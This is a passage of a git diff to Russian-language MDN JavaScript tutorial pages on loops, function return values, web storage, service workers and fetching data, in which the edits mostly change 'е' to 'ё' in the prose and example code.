            3. Если квадратный корень и округленный вниз квадратный корень не равны друг другу (! ==), значит квадратный корень не является целым числом, поэтому нас он не интересует.  В таком случае мы используем оператор continue, чтобы перейти к следующей итерации цикла без записи этого числа.
              4. 
+ 
            4. В этом случае на входе должно быть число (num). Циклу for присваивается счётчик, начинающийся с 1 (поскольку в данном случае нас не интересует 0), условие выхода, которое говорит, что цикл остановится, когда счётчик станет больше входного num, а итератор добавляет 1 к счётчику каждый раз.
              5. 
+ 
            5. Внутри цикла мы находим квадратный корень каждого числа с помощью Math.sqrt(i), а затем проверяем, является ли квадратный корень целым числом, проверяя, совпадает ли он с самим собой, когда он был округлён до ближайшего целого числа (это то, что Math.floor () делает с числом, которое передаёт).
              6. 
+ 
            6. Если квадратный корень и округлённый вниз квадратный корень не равны друг другу (! ==), значит квадратный корень не является целым числом, поэтому нас он не интересует.  В таком случае мы используем оператор continue, чтобы перейти к следующей итерации цикла без записи этого числа.
              7. 
  
            7. Если квадратный корень является целым числом, мы пропускаем блок if полностью, поэтому оператор continue не выполняется; вместо этого объединяется текущее значение i с пробелом в конце содержимого абзаца.
              8. 
 
            
 
@@ -484,9 +484,9 @@ while (exit-condition) {
 
 
            Здесь присутствуют те же три элемента и в том же порядке, что и в цикле for. Это важно, так как вам нужно определить инициализатор, прежде чем получится проверить, достиг ли цикл условия выхода.
            
 
-
            Окончательное условие выполняется после выполнения кода внутри цикла (итерация завершена), и оно выполняется только в том случае, если условие выхода еще не достигнуто.
            
+
            Окончательное условие выполняется после выполнения кода внутри цикла (итерация завершена), и оно выполняется только в том случае, если условие выхода ещё не достигнуто.
            
 
-
            Посмотрим еще раз пример со списком кошек с кодом переписанным под использование цикла while:
            
+
            Посмотрим ещё раз пример со списком кошек с кодом переписанным под использование цикла while:
            
 
 
            var i = 0;
 
@@ -501,7 +501,7 @@ while (i < cats.length) {
 }
            
 
 
            
-
            Примечание: цикл все еще работает так же, как и ожидалось - посмотрите, как он работает на GitHub (также посмотрите полный исходный код).
            
+
            Примечание: цикл все ещё работает так же, как и ожидалось - посмотрите, как он работает на GitHub (также посмотрите полный исходный код).
            
 
            
 
 
            Цикл do...while представляет собой вариацию структуры цикла while:
            
@@ -515,7 +515,7 @@ do {
 
 
            В этом случае инициализатор снова указывается прежде, чем цикл запускается. Ключевое слово do непосредственно предшествует фигурным скобкам, содержащим код для запуска и конечное выражение.
            
 
-
            Различие состоит в том, что условие выхода идет после всего остального, заключенное в скобки после ключевого слова while. В цикле do...while код внутри фигурных скобок всегда запускается один раз, прежде чем выполняется проверка, чтобы увидеть, должна ли она быть выполнена снова (в while и for проверка идет первой, поэтому код может быть не выполнен).
            
+
            Различие состоит в том, что условие выхода идёт после всего остального, заключённое в скобки после ключевого слова while. В цикле do...while код внутри фигурных скобок всегда запускается один раз, прежде чем выполняется проверка, чтобы увидеть, должна ли она быть выполнена снова (в while и for проверка идёт первой, поэтому код может быть не выполнен).
            
 
 
            Перепишем наш пример с кошками, чтобы использовать цикл do...while:
            
 
@@ -536,12 +536,12 @@ do {
 
 
 
            
-
            Замечание: Применяя циклы while and do...while , как и все циклы, убедитесь, что инициализатор повторяется так, чтобы он в конце концов достиг условия выхода. Если это не так, цикл будет продолжаться вечно, и либо браузер заставит его остановиться, либо произойдет сбой. Это называется доктор Стрэндж и Дормамму бесконечным циклом. 
            
+
            Замечание: Применяя циклы while and do...while , как и все циклы, убедитесь, что инициализатор повторяется так, чтобы он в конце концов достиг условия выхода. Если это не так, цикл будет продолжаться вечно, и либо браузер заставит его остановиться, либо произойдёт сбой. Это называется доктор Стрэндж и Дормамму бесконечным циклом. 
            
 
            
 
-
            Практическое упражнение:  запускаем обратный отсчет!
            
+
            Практическое упражнение:  запускаем обратный отсчёт!
            
 
-
            В этом упражнении мы хотим, чтобы вы написали простой отсчет времени запуска до поля вывода, от 10 до "Пуск!"  В частности, мы хотим, чтобы вы:
            
+
            В этом упражнении мы хотим, чтобы вы написали простой отсчёт времени запуска до поля вывода, от 10 до "Пуск!"  В частности, мы хотим, чтобы вы:
            
 
 
              
  
            • Цикл от 10 до 0. Мы предоставляем вам инициализатор: var i = 10;.
              • 
@@ -555,12 +555,12 @@ do {
  
            • Разные номера итераций требуют, чтобы в абзаце для каждой итерации помещался свой текст (вам понадобится условный оператор и несколько para.textContent = lines
              
   ):
   
                
-   
              • Если число равно 10, выведите в абзаце «Обратный отсчет 10».
                • 
+   
              • Если число равно 10, выведите в абзаце «Обратный отсчёт 10».
                • 
    
              • Если число равно 0, выведите в абзаце «Пуск!»
                • 
    
              • Для любого другого числа выведите в абзаце только число.
                • 
   
              
  
              • 
- 
            • Не забудьте включить итератор! Однако в этом примере мы ведем обратный отсчет после каждой итерации, а не вверх, поэтому вам не нужен i ++. Как выполнить итерацию вниз?
              • 
+ 
            • Не забудьте включить итератор! Однако в этом примере мы ведём обратный отсчёт после каждой итерации, а не вверх, поэтому вам не нужен i ++. Как выполнить итерацию вниз?
              • 
 
            
 
 
            Если вы допустили ошибку, вы всегда можете сбросить пример с помощью кнопки «Сброс» (Reset). Если у вас совсем ничего не получается, нажмите «Show solution», чтобы увидеть решение.
            
@@ -710,7 +710,7 @@ textarea.onkeyup = function(){
 
 
            Практическое упражнение:   Заполнение списка гостей
            
 
-
            Возьмите список имен, хранящихся в массиве, и поместите их в список гостей. Тут не всё так просто: мы не хотим приглашать Фила и Лолу, потому что они наглые и всё сожрут! У нас есть два списка. Один для тех, кого мы хотим пригласить, второй для тех, кого приглашать не нужно.
            
+
            Возьмите список имён, хранящихся в массиве, и поместите их в список гостей. Тут не всё так просто: мы не хотим приглашать Фила и Лолу, потому что они наглые и всё сожрут! У нас есть два списка. Один для тех, кого мы хотим пригласить, второй для тех, кого приглашать не нужно.
            
 
 
            Для этого нужно сделать следующее:
            
 
@@ -733,7 +733,7 @@ textarea.onkeyup = function(){
  
          17. admitted.textContent += — начало строки, которая объединит что-то до конца admitted.textContent.
            18. 
 
 
-
            Дополнительный бонусный вопрос - после успешного выполнения вышеупомянутых задач у вас останется два списка имен, разделенных запятыми, но они будут составлены некорректно: в конце каждого списка будет запятая. Сможете ли вы составить эти списки так, чтобы в конце каждой строки вместо запятой была точка. За помощью можно обратиться к статье «Полезные строковые методы».
            
+
            Дополнительный бонусный вопрос - после успешного выполнения вышеупомянутых задач у вас останется два списка имён, разделённых запятыми, но они будут составлены некорректно: в конце каждого списка будет запятая. Сможете ли вы составить эти списки так, чтобы в конце каждой строки вместо запятой была точка. За помощью можно обратиться к статье «Полезные строковые методы».
            
 
 
            Если вы допустили ошибку, вы всегда можете сбросить пример с помощью кнопки «Сброс» (Reset). Если у вас совсем ничего не получается, нажмите «Показать решение», чтобы увидеть решение.
            
 
@@ -749,7 +749,7 @@ textarea.onkeyup = function(){
 <h2>Editable code</h2>
 <p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p>
 <textarea id="code" class="playable-code" style="height: 400px;width: 95%">
-var people = ['Крис', 'Анна', 'Колин', 'Терри', 'Фил', 'Лола', 'Сем', 'Кай', 'Брюс'];
+var people = ['Крис', 'Анна', 'Колин', 'Терри', 'Фил', 'Лола', 'Сём', 'Кай', 'Брюс'];
 
 var admitted = document.querySelector('.admitted');
 var refused = document.querySelector('.refused');
@@ -818,7 +818,7 @@ solution.addEventListener('click', function() {
   updateCode();
 });
 
-var jsSolution = 'var people = [\'Крис\', \'Анна\', \'Колин\', \'Терри\', \'Фил\', \'Лола\', \'Сем\', \'Кай\', \'Брюс\'];\n\nvar admitted = document.querySelector(\'.admitted\');\nvar refused = document.querySelector(\'.refused\');\n\nadmitted.textContent = \'Пригласить: \';\nrefused.textContent = \'Не приглашать(!): \'\nvar i = 0;\n\ndo {\n if(people[i] === \'Фил\' || people[i] === \'Лола\') {\n refused.textContent += people[i] + \', \';\n } else {\n admitted.textContent += people[i] + \', \';\n }\n i++;\n} while(i < people.length);\n\nrefused.textContent = refused.textContent.slice(0,refused.textContent.length-2) + \'.\';\nadmitted.textContent = admitted.textContent.slice(0,admitted.textContent.length-2) + \'.\';';
+var jsSolution = 'var people = [\'Крис\', \'Анна\', \'Колин\', \'Терри\', \'Фил\', \'Лола\', \'Сём\', \'Кай\', \'Брюс\'];\n\nvar admitted = document.querySelector(\'.admitted\');\nvar refused = document.querySelector(\'.refused\');\n\nadmitted.textContent = \'Пригласить: \';\nrefused.textContent = \'Не приглашать(!): \'\nvar i = 0;\n\ndo {\n if(people[i] === \'Фил\' || people[i] === \'Лола\') {\n refused.textContent += people[i] + \', \';\n } else {\n admitted.textContent += people[i] + \', \';\n }\n i++;\n} while(i < people.length);\n\nrefused.textContent = refused.textContent.slice(0,refused.textContent.length-2) + \'.\';\nadmitted.textContent = admitted.textContent.slice(0,admitted.textContent.length-2) + \'.\';';
 var solutionEntry = jsSolution;
 
 textarea.addEventListener('input', updateCode);
diff --git a/files/ru/learn/javascript/building_blocks/return_values/index.html b/files/ru/learn/javascript/building_blocks/return_values/index.html
index 9ccd384929..9ff812f4a1 100644
--- a/files/ru/learn/javascript/building_blocks/return_values/index.html
+++ b/files/ru/learn/javascript/building_blocks/return_values/index.html
@@ -7,7 +7,7 @@ translation_of: Learn/JavaScript/Building_blocks/Return_values
 
 
            {{PreviousMenuNext("Learn/JavaScript/Building_blocks/Build_your_own_function","Learn/JavaScript/Building_blocks/События", "Learn/JavaScript/Building_blocks")}}
            
 
-
            Для нас в этом курсе имеется еще один важный момент. Посмотрим внимательнее на возвращаемое значение функций. Некоторые функции не возвращают существенное значение после завершения, но некоторые возвращают, и важно понимать что это за значение и как использовать его в своем коде и как сделать так чтобы ваши собственные функции возвращали полезные значения. Мы объясним всё это ниже. 
            
+
            Для нас в этом курсе имеется ещё один важный момент. Посмотрим внимательнее на возвращаемое значение функций. Некоторые функции не возвращают существенное значение после завершения, но некоторые возвращают, и важно понимать что это за значение и как использовать его в своём коде и как сделать так чтобы ваши собственные функции возвращали полезные значения. Мы объясним всё это ниже. 
            @@ -35,7 +35,7 @@ console.log(newString); // заменяет одну подстроку другой и возвращает // новую строку со сделанными заменами -

            Мы уже видели этот блок кода в нашей первой статье про функции. Мы вызываем функцию replace() на строке myText и передаем ей 2 параметра —  заменяемую подстроку и подстроку, которой будем заменять. Когда функция завершит выполнение, она вернет значение, которым является новая строка со сделанными в ней заменами.  В коде выше мы сохраняем это возвращаемое значение как значение переменной newString.

            +

            Мы уже видели этот блок кода в нашей первой статье про функции. Мы вызываем функцию replace() на строке myText и передаём ей 2 параметра —  заменяемую подстроку и подстроку, которой будем заменять. Когда функция завершит выполнение, она вернёт значение, которым является новая строка со сделанными в ней заменами.  В коде выше мы сохраняем это возвращаемое значение как значение переменной newString.

            Если Вы посмотрите на функцию replace() на MDN reference page, вы увидите секцию под названием Return value.  Очень важно знать и понимать какие значения возвращаются функциями, так что мы пытаемся включать эту информацию везде, где это возможно.

            @@ -109,7 +109,7 @@ function factorial(num) { return num; }Ффункции squared() и cubed() довольно очевидны— они возвращают квадрат или куб переданного как параметр числа. Функция factorial() возвращает factorial переданного числа. -
          18. Далее мы добавим способ выводить нашу информацию введенным в  text input числе. Добавьте обработчик событий ниже существующих функций: +
          19. Далее мы добавим способ выводить нашу информацию введённым в  text input числе. Добавьте обработчик событий ниже существующих функций: 
            input.onchange = function() {
   var num = input.value;
   if (isNaN(num)) {
@@ -121,10 +121,10 @@ function factorial(num) {
   }
 }
            -

            Здесь мы создаем обработчик событий onchange  который срабатывает когда меняется когда новое значение вводится в text input и подтверждается (введите значение и, например, нажмите tab). Когда анонимная функция срабатывает, введенное в input значение сохраняется в переменной num .

            +

            Здесь мы создаём обработчик событий onchange  который срабатывает когда меняется когда новое значение вводится в text input и подтверждается (введите значение и, например, нажмите tab). Когда анонимная функция срабатывает, введённое в input значение сохраняется в переменной num .

          20. -

            Далее мы делаем условный тест — если введенное значение не является числом, мы выводим в параграф сообщение об ошибке . Тест смотрит возвращает ли выражение isNaN(num)  true. Мы используем функцию isNaN() чтобы проверить что значение переменной num не число — если так то функция возвращаетtrue, если нет- false.

            +

            Далее мы делаем условный тест — если введённое значение не является числом, мы выводим в параграф сообщение об ошибке . Тест смотрит возвращает ли выражение isNaN(num)  true. Мы используем функцию isNaN() чтобы проверить что значение переменной num не число — если так то функция возвращаетtrue, если нет- false.

          21. Если тест возвращает false, значение переменной numчисло, и поэтому мы выводим сообщение внутри параграфа о значениях квадрата, куба и факториала числа. Предложение вызывает  функции squared(), cubed() иfactorial() чтобы получить нужные значения. Сохраните Ваш код, загрузите его в браузере и посмотрите на то что получилось.

            @@ -135,7 +135,7 @@ function factorial(num) {

            Замечание:  Если у вас проблемы с работой данного примера, не стесняйтесь сверить ваш код с работающей версией finished version on GitHub (или смотрите живой пример), или спросите нас.

            -

            К этому моменту мы хотели бы чтобы вы написали парочку собственных функций и добавили их в библиотеку. Как на счет квадратного или кубического корня числа или длины окружности круга с длиной радиуса равной числу num?

            +

            К этому моменту мы хотели бы чтобы вы написали парочку собственных функций и добавили их в библиотеку. Как на счёт квадратного или кубического корня числа или длины окружности круга с длиной радиуса равной числу num?

            Это упражнение привнесло парочку важных понятий в изучении того, как использовать ключевое слово return . В дополнение:

            @@ -148,13 +148,13 @@ function factorial(num) {

            Функции очень полезны и не смотря на то, что об их синтаксисе и функциональности можно говорить долго, у нас есть довольно понятные статьи для дальнейшего обучения.

            -

            Если в статье есть что-то что вы не поняли, не стесняйтесь перечитать статью еще раз или свяжитесь с нами для получения помощи.

            +

            Если в статье есть что-то что вы не поняли, не стесняйтесь перечитать статью ещё раз или свяжитесь с нами для получения помощи.

            Смотрите также

            • Функции более подробно — подробное руководство, охватывающее более продвинутую информацию, связанную с функциями.
              • -
            • Колбэк-функции в JavaScript — распространенный паттерн JavaScript для передачи функции в другую функцию как аргумент, который затем вызывается внутри первой функции.
              • +
            • Колбэк-функции в JavaScript — распространённый паттерн JavaScript для передачи функции в другую функцию как аргумент, который затем вызывается внутри первой функции.

            {{PreviousMenuNext("Learn/JavaScript/Building_blocks/Build_your_own_function","Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}

            diff --git a/files/ru/learn/javascript/building_blocks/test_your_skills_colon__functions/index.html b/files/ru/learn/javascript/building_blocks/test_your_skills_colon__functions/index.html index 8bfb571bcb..d956d7bbc3 100644 --- a/files/ru/learn/javascript/building_blocks/test_your_skills_colon__functions/index.html +++ b/files/ru/learn/javascript/building_blocks/test_your_skills_colon__functions/index.html @@ -24,9 +24,9 @@ translation_of: 'Learn/JavaScript/Building_blocks/Test_your_skills:_Functions'

            Управление структурой DOM: рекомендуется

            -

            Некоторые из вопросов, приведенных ниже, требуют написания кода для управления структурой DOM для их решения - например, создание новых HTML-элементов, установка их текстового содержимого в соответствие с определенными значениями строк, и вложение их внутри существующих элементов на странице - и все это с помощью JavaScript.

            +

            Некоторые из вопросов, приведённых ниже, требуют написания кода для управления структурой DOM для их решения - например, создание новых HTML-элементов, установка их текстового содержимого в соответствие с определёнными значениями строк, и вложение их внутри существующих элементов на странице - и все это с помощью JavaScript.

            -

            Мы еще не обучали этому прямо в курсе, но вы увидите некоторые примеры, которые используют данную структуру, и мы хотели бы, чтобы вы провели некоторые исследования в отношении того, какие DOM API вам нужны, чтобы успешно ответить на эти вопросы. Хорошим началом будет наше учебное пособие Управление документами.

            +

            Мы ещё не обучали этому прямо в курсе, но вы увидите некоторые примеры, которые используют данную структуру, и мы хотели бы, чтобы вы провели некоторые исследования в отношении того, какие DOM API вам нужны, чтобы успешно ответить на эти вопросы. Хорошим началом будет наше учебное пособие Управление документами.

            Функции 1

            @@ -64,7 +64,7 @@ translation_of: 'Learn/JavaScript/Building_blocks/Test_your_skills:_Functions'

            Функции 3

            -

            В этой задаче вы возвращаетесь к проблеме, поставленной в Задаче 1, с целью ее улучшения. Мы хотим, чтобы вы сделали три улучшения:

            +

            В этой задаче вы возвращаетесь к проблеме, поставленной в Задаче 1, с целью её улучшения. Мы хотим, чтобы вы сделали три улучшения:

            1. Выполните рефакторинг (реорганизацию) кода, который отвечает за генерацию случайного числа в отдельную функцию random(), которая принимает в качестве параметров две общие границы, между которыми должно находиться случайное число и возвращает результат.
              2. @@ -87,7 +87,7 @@ translation_of: 'Learn/JavaScript/Building_blocks/Test_your_skills:_Functions'

              Если же вы хотите, чтобы вашу работу проанализировали, или у вас проблема и вы хотите попросить о помощи:

                -
              1. Поместите свой код в онлайн-редактор CodePen, jsFiddle или Glitch с возможностью совместного использования. Вы можете написать код самостоятельно или использовать файлы с исходным кодом, ссылки на которые приведены в вышеприведенных разделах.
                2. +
              2. Поместите свой код в онлайн-редактор CodePen, jsFiddle или Glitch с возможностью совместного использования. Вы можете написать код самостоятельно или использовать файлы с исходным кодом, ссылки на которые приведены в вышеприведённых разделах.
              3. Напишите сообщение с просьбой о проведении анализа и/или помощи в категории MDN Discourse forum Learning category. Ваше сообщение должно включать в себя следующие пункты:
                • Описательный заголовок, например "Анализ для теста навыков: Функции 1".
                  • diff --git a/files/ru/learn/javascript/client-side_web_apis/client-side_storage/index.html b/files/ru/learn/javascript/client-side_web_apis/client-side_storage/index.html index da1f88f0aa..280493b6bd 100644 --- a/files/ru/learn/javascript/client-side_web_apis/client-side_storage/index.html +++ b/files/ru/learn/javascript/client-side_web_apis/client-side_storage/index.html @@ -76,7 +76,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Client-side_storage

                  Некоторые современные браузеры поддерживают новое {{domxref("Cache")}} API. Этот API предназначен для хранения HTTP-ответов на конкретные запросы и очень полезен для таких вещей, как хранение ресурсов сайта в автономном режиме, чтобы впоследствии сайт можно было использовать без сетевого подключения. Cache обычно используется в сочетании с Service Worker API, однако это не обязательно.

                  -

                  Использование Cache и Service Workers - сложная тема, и мы не будем подробно останавливаться на ней в этой статье, хотя приведем простой пример {{anch("Offline asset storage")}} в разделе ниже.

                  +

                  Использование Cache и Service Workers - сложная тема, и мы не будем подробно останавливаться на ней в этой статье, хотя приведём простой пример {{anch("Offline asset storage")}} в разделе ниже.

                  Хранение простых данных — web storage

                  @@ -96,7 +96,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Client-side_storage

                • Все данные вашего веб-хранилища содержатся в двух объектоподобных структурах внутри браузера: {{domxref("Window.sessionStorage", "sessionStorage")}} и {{domxref("Window.localStorage", "localStorage")}}. Первый сохраняет данные до тех пор, пока браузер открыт (данные теряются при закрытии браузера), а второй сохраняет данные даже после того, как браузер закрыт, а затем снова открыт. Мы будем использовать второй в этой статье, так как он, как правило, более полезен.

                  -

                  {{domxref("Storage.setItem()")}} метод позволяет сохранить элемент данных в хранилище - он принимает два параметра: имя элемента и его значение. Попробуйте ввести это в свою консоль JavaScript (измените значение на свое собственное имя, если хотите!):

                  +

                  {{domxref("Storage.setItem()")}} метод позволяет сохранить элемент данных в хранилище - он принимает два параметра: имя элемента и его значение. Попробуйте ввести это в свою консоль JavaScript (измените значение на своё собственное имя, если хотите!):

                  localStorage.setItem('name','Chris');
                  • @@ -134,7 +134,7 @@ myName var myName = localStorage.getItem('name'); myName -

                  Вы должны увидеть возвращенное имя элемента.

                  +

                  Вы должны увидеть возвращённое имя элемента.

                • Теперь закройте браузер и откройте его снова.

                  @@ -155,7 +155,7 @@ myName

                  Это имеет смысл - вы можете представить себе проблемы безопасности, которые могут возникнуть, если веб-сайты смогут видеть данные друг друга!

                  -

                  Более развернутый пример

                  +

                  Более развёрнутый пример

                  Давайте применим эти новые знания, написав простой рабочий пример, чтобы дать вам представление о том, как можно использовать веб-хранилище. Наш пример позволит вам ввести имя, после чего страница обновится, чтобы дать вам персональное приветствие. Это состояние также будет сохраняться при перезагрузке страницы / браузера, поскольку имя хранится в веб-хранилище.

                  @@ -173,7 +173,7 @@ myName

                  Далее обратите внимание, как наш HTML ссылается на файл JavaScript с именем index.js (см. строку 40). Нам нужно создать его, и записать в него наш код JavaScript. Создайте файл index.js в том же каталоге, что и ваш HTML-файл.

                • -

                  Мы начнем с создания ссылок на все функции HTML, которыми мы должны манипулировать в этом примере - мы создадим их все как константы, поскольку эти ссылки не нужно изменять в жизненном цикле приложения. Добавьте следующие строки в ваш файл JavaScript:

                  +

                  Мы начнём с создания ссылок на все функции HTML, которыми мы должны манипулировать в этом примере - мы создадим их все как константы, поскольку эти ссылки не нужно изменять в жизненном цикле приложения. Добавьте следующие строки в ваш файл JavaScript:

                  // create needed constants
 const rememberDiv = document.querySelector('.remember');
@@ -195,7 +195,7 @@ form.addEventListener('submit', function(e) {
 });
                • -

                  Теперь нам нужно добавить обработчик событий, функция-обработчик которого будет запускаться при нажатии кнопки «Say hello». В комментариях подробно объясняется, что делает каждый бит, но в сущности здесь мы берем имя, которое пользователь ввел в поле ввода текста, и сохраняем его в веб-хранилище с помощью setItem(), затем запускаем функцию nameDisplayCheck(), которая будет обрабатывать обновление фактического текста сайта. Добавьте это в конец: 

                  +

                  Теперь нам нужно добавить обработчик событий, функция-обработчик которого будет запускаться при нажатии кнопки «Say hello». В комментариях подробно объясняется, что делает каждый бит, но в сущности здесь мы берём имя, которое пользователь ввёл в поле ввода текста, и сохраняем его в веб-хранилище с помощью setItem(), затем запускаем функцию nameDisplayCheck(), которая будет обрабатывать обновление фактического текста сайта. Добавьте это в конец: 

                  // run function when the 'Say hello' button is clicked
 submitBtn.addEventListener('click', function() {
@@ -263,7 +263,7 @@ function nameDisplayCheck() {
 
 
                  Однако это обходится дорого: IndexedDB гораздо сложнее в использовании, чем Web Storage API.
                  
 
-
                  В этом разделе мы действительно только коснемся того, на что он способен, но мы дадим вам достаточно, чтобы начать.
                  
+
                  В этом разделе мы действительно только коснёмся того, на что он способен, но мы дадим вам достаточно, чтобы начать.
                  
 
 
                  Работа с примером хранения заметок
                  
 
@@ -668,7 +668,7 @@ Promise.all([mp4Blob, webmBlob]).then(function(values) {
 
 
                  Оффлайн хранение данных
                  
 
-
                  Пример ниже показывает, как создать приложение, которое будет хранить данные большого объема в хранилище IndexedDB, избегая необходимости скачивать их повторно. Это важное улучшение пользовательского опыта, но есть одно замечание — основной HTML, CSS, и файлы JavaScript все еще нужно загружать каждый раз при запросе сайта, это значит, что данный пример не будет работать при отсутствии сетевого соединения.
                  
+
                  Пример ниже показывает, как создать приложение, которое будет хранить данные большого объёма в хранилище IndexedDB, избегая необходимости скачивать их повторно. Это важное улучшение пользовательского опыта, но есть одно замечание — основной HTML, CSS, и файлы JavaScript все ещё нужно загружать каждый раз при запросе сайта, это значит, что данный пример не будет работать при отсутствии сетевого соединения.
                  
 
 
                  
 
@@ -678,10 +678,10 @@ Promise.all([mp4Blob, webmBlob]).then(function(values) {
 
 
                  Когда worker перехватывает запрос, он может делать многие вещи (смотри идеи для использования сервис-воркеров), но классический пример это сохранение сетевых ответов и затем доступ к ним при запросе, вместо запросов по сети. В результате, это позволяет сделать веб-сайт полностью работающим в офлайне.
                  
 
-
                  Cache API это еще один механизм хранения данных на клиенте с небольшим отличием — он разработан для хранения HTTP ответов, и прекрасно работает с сервис-воркерами.
                  
+
                  Cache API это ещё один механизм хранения данных на клиенте с небольшим отличием — он разработан для хранения HTTP ответов, и прекрасно работает с сервис-воркерами.
                  
 
 
                  
-
                  Note: Service workers и Cache доступны в большинстве современных браузеров. В момент написания статьи, Safari еще не имел реализации, но скоро должна быть.
                  
+
                  Note: Service workers и Cache доступны в большинстве современных браузеров. В момент написания статьи, Safari ещё не имел реализации, но скоро должна быть.
                  
 
                  
 
 
                  Пример сервис воркера
                  
@@ -703,12 +703,12 @@ Promise.all([mp4Blob, webmBlob]).then(function(values) {
   }
                  -

                  Примечание: Путь к файлу sw.js указан относительно корня сайта, а не JavaScript файла, содержащего основной код. Полный путь - https://mdn.github.io/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js. Корень -  https://mdn.github.io, и следовательно указываемый путь должен быть /learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js. Если вы хотите использовать данный пример на своем сервере, вы также должны изменить путь к скрипту. Это довольно запутанно, но обязано так работать по причинам безопасности.

                  +

                  Примечание: Путь к файлу sw.js указан относительно корня сайта, а не JavaScript файла, содержащего основной код. Полный путь - https://mdn.github.io/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js. Корень -  https://mdn.github.io, и следовательно указываемый путь должен быть /learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js. Если вы хотите использовать данный пример на своём сервере, вы также должны изменить путь к скрипту. Это довольно запутанно, но обязано так работать по причинам безопасности.

                  Устанавливаем сервис воркер

                  -

                  В следующий раз, когда страница с сервис-воркером будет запрошена (например когда страница будет перезагружена), сервис-воркер запустится на этой странице и начнет контролировать её. Когда это произойдет, событие install будет вызвано в сервис-воркере; вы можете написать код внутри сервис-воркера, который будет вызван в процессе установки.

                  +

                  В следующий раз, когда страница с сервис-воркером будет запрошена (например когда страница будет перезагружена), сервис-воркер запустится на этой странице и начнёт контролировать её. Когда это произойдёт, событие install будет вызвано в сервис-воркере; вы можете написать код внутри сервис-воркера, который будет вызван в процессе установки.

                  Давайте взглянем на файл сервис-воркера sw.js. Вы можете видеть, что обработчик события install зарегистрирован на self. Ключевое слово self это способ ссылки на глобальную область видимости сервис-воркера из файла с сервис-воркером.

                  @@ -733,11 +733,11 @@ Promise.all([mp4Blob, webmBlob]).then(function(values) {

                  Отвечаем на последующие запросы

                  -

                  Когда сервис-воркер зарегистрирован и установлен на странице HTML и сопутствующие ресурсы добавлены в кэш, все практически готово. Нужно сделать еще одну вещь - написать код для ответа на дальнейшие сетевые запросы.

                  +

                  Когда сервис-воркер зарегистрирован и установлен на странице HTML и сопутствующие ресурсы добавлены в кэш, все практически готово. Нужно сделать ещё одну вещь - написать код для ответа на дальнейшие сетевые запросы.

                  -

                  Это то, что делает вторая часть кода файла sw.js. Мы добавили еще один обработчик к сервис-воркеру в глобальной области видимости, который запускает функцию-обработчик при событии fetch. Это происходит всякий раз, когда браузер делает запрос ресурса в директорию, где зарегистрирован сервис-воркер.

                  +

                  Это то, что делает вторая часть кода файла sw.js. Мы добавили ещё один обработчик к сервис-воркеру в глобальной области видимости, который запускает функцию-обработчик при событии fetch. Это происходит всякий раз, когда браузер делает запрос ресурса в директорию, где зарегистрирован сервис-воркер.

                  -

                  Внутри обработчика, мы сначала выводим в консоль URL запрашиваемого ресурса. Затем отдаем особый ответ на запрос, используя метод {{domxref("FetchEvent.respondWith()")}}.

                  +

                  Внутри обработчика, мы сначала выводим в консоль URL запрашиваемого ресурса. Затем отдаём особый ответ на запрос, используя метод {{domxref("FetchEvent.respondWith()")}}.

                  Внутри блока мы используем {{domxref("CacheStorage.match()")}} чтобы проверить, можно ли найти соответствующий запрос (т.е. совпадение по URL) в кэше. Обещание возвращает найденный ответ или undefined, если ничего не нашлось.

                  diff --git a/files/ru/learn/javascript/client-side_web_apis/fetching_data/index.html b/files/ru/learn/javascript/client-side_web_apis/fetching_data/index.html index 63d9010aab..da373e930c 100644 --- a/files/ru/learn/javascript/client-side_web_apis/fetching_data/index.html +++ b/files/ru/learn/javascript/client-side_web_apis/fetching_data/index.html @@ -14,7 +14,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Fetching_data
                  {{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs")}}
                  -

                  Другой очень распространенной задачей в современных веб-сайтах и ​​приложениях является получение отдельных элементов данных с сервера для обновления разделов веб-страницы без необходимости загрузки всей новой страницы. Эта, казалось бы, небольшая деталь оказала огромное влияние на производительность и поведение сайтов, поэтому в этой статье мы объясним концепцию и рассмотрим технологии, которые делают это возможным, например XMLHttpRequest и API Fetch.

                  +

                  Другой очень распространённой задачей в современных веб-сайтах и ​​приложениях является получение отдельных элементов данных с сервера для обновления разделов веб-страницы без необходимости загрузки всей новой страницы. Эта, казалось бы, небольшая деталь оказала огромное влияние на производительность и поведение сайтов, поэтому в этой статье мы объясним концепцию и рассмотрим технологии, которые делают это возможным, например XMLHttpRequest и API Fetch.

            22. @@ -41,7 +41,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Fetching_data

            Это привело к созданию технологий, позволяющих веб-страницам запрашивать небольшие фрагменты данных (например, HTML, {{glossary("XML")}}, JSON или обычный текст) и отображать их только при необходимости, помогая решать проблему, описанную выше.

            -

            Это достигается с помощью таких API, как {{domxref("XMLHttpRequest")}} или - более новой - Fetch API. Эти технологии позволяют веб-страницам напрямую обрабатывать запросы HTTP для определенных ресурсов, доступных на сервере, и форматировать результирующие данные по мере необходимости перед их отображением.

            +

            Это достигается с помощью таких API, как {{domxref("XMLHttpRequest")}} или - более новой - Fetch API. Эти технологии позволяют веб-страницам напрямую обрабатывать запросы HTTP для определённых ресурсов, доступных на сервере, и форматировать результирующие данные по мере необходимости перед их отображением.

            Примечание: Вначале эта общая техника была известна как Асинхронный JavaScript и XML (Ajax), поскольку она, как правило, использовала {{domxref("XMLHttpRequest")}} для запроса данных XML. В наши дни это обычно не так (вы, скорее всего, будете использовать XMLHttpRequest или Fetch для запроса JSON), но результат все тот же, и термин «Ajax» по-прежнему часто используется для описания этой техники.

            @@ -60,7 +60,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Fetching_data
            • Обновления страницы намного быстрее, и вам не нужно ждать перезагрузки страницы, а это означает, что сайт работает быстрее и воспринимается более отзывчивым.
              • -
